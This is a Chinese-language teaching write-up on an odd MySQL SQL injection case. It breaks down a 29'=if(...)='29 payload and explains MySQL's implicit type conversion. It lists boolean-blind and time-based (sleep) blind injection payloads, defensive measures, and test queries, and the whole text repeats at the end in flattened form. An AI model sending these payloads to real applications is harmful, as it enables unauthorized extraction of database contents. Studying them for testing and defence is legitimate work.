某次奇怪的sql注入记录
字数 777 2025-08-06 08:35:00

SQL注入漏洞分析与利用教学文档

1. 漏洞背景

本教学文档基于奇安信攻防社区中分享的一个特殊SQL注入案例。该案例展示了一种非标准的SQL注入方式,涉及条件判断和字符串比较的巧妙利用。

2. 注入语句分析

核心注入语句为:

keyValue=29'=if('1' like '1 ,1,0x11')='29

2.1 语句分解

  1. '1' like '1 - 这是一个简单的LIKE比较,结果为真(1)
  2. if('1' like '1 ,1,0x11) - IF函数,条件为真返回第二个参数1
  3. 整体表达式变为 29'=1='29

2.2 运算顺序

SQL中的运算顺序为:

(29'=1)='29'
  1. 29'=1 - 字符串'29'与数字1比较,MySQL会尝试将字符串转换为数字
    • '29'转换为数字29
    • 29 == 1 → 假(0)
  2. 0='29' - 数字0与字符串'29'比较
    • '29'转换为数字29
    • 0 == 29 → 假(0)

最终结果为假(0)。

3. 注入原理

3.1 关键点

  1. IF函数利用:通过控制IF函数的返回值为1或0来构造布尔条件
  2. 类型转换:利用MySQL在比较时的隐式类型转换特性
  3. 逗号触发:根据评论区提示,某些系统遇到逗号会自动添加引号

3.2 变种可能性

可以构造其他条件判断:

keyValue=29'=if(1=1,1,0)='29  // 真
keyValue=29'=if(1=2,1,0)='29  // 假

4. 漏洞利用方法

4.1 布尔盲注

利用这种模式可以进行布尔盲注:

keyValue=29'=if(ascii(substr(database(),1,1))>100,1,0)='29

4.2 时间盲注

结合sleep函数实现时间盲注:

keyValue=29'=if(1=1,sleep(5),0)='29

5. 防御建议

  1. 参数化查询:使用预编译语句
  2. 输入过滤:对特殊字符如单引号、逗号进行过滤
  3. 最小权限:数据库连接使用最小必要权限
  4. 类型检查:严格校验输入参数类型

6. 学习资源

  1. MySQL官方文档:类型转换规则
  2. OWASP SQL注入防护指南
  3. SQL注入绕过技术手册

7. 实验验证

建议在测试环境验证以下payload:

SELECT '29'=if('1' like '1',1,0x11)='29';
SELECT '29'=1='29';
SELECT 0='29';

通过本案例可以深入理解SQL注入的灵活性和MySQL的类型转换机制,这对安全测试和防御都有重要意义。

SQL注入漏洞分析与利用教学文档 1. 漏洞背景 本教学文档基于奇安信攻防社区中分享的一个特殊SQL注入案例。该案例展示了一种非标准的SQL注入方式,涉及条件判断和字符串比较的巧妙利用。 2. 注入语句分析 核心注入语句为: 2.1 语句分解 '1' like '1 - 这是一个简单的LIKE比较,结果为真(1) if('1' like '1 ,1,0x11) - IF函数,条件为真返回第二个参数1 整体表达式变为 29'=1='29 2.2 运算顺序 SQL中的运算顺序为: 29'=1 - 字符串'29'与数字1比较,MySQL会尝试将字符串转换为数字 '29'转换为数字29 29 == 1 → 假(0) 0='29' - 数字0与字符串'29'比较 '29'转换为数字29 0 == 29 → 假(0) 最终结果为假(0)。 3. 注入原理 3.1 关键点 IF函数利用 :通过控制IF函数的返回值为1或0来构造布尔条件 类型转换 :利用MySQL在比较时的隐式类型转换特性 逗号触发 :根据评论区提示,某些系统遇到逗号会自动添加引号 3.2 变种可能性 可以构造其他条件判断: 4. 漏洞利用方法 4.1 布尔盲注 利用这种模式可以进行布尔盲注: 4.2 时间盲注 结合sleep函数实现时间盲注: 5. 防御建议 参数化查询 :使用预编译语句 输入过滤 :对特殊字符如单引号、逗号进行过滤 最小权限 :数据库连接使用最小必要权限 类型检查 :严格校验输入参数类型 6. 学习资源 MySQL官方文档:类型转换规则 OWASP SQL注入防护指南 SQL注入绕过技术手册 7. 实验验证 建议在测试环境验证以下payload: 通过本案例可以深入理解SQL注入的灵活性和MySQL的类型转换机制,这对安全测试和防御都有重要意义。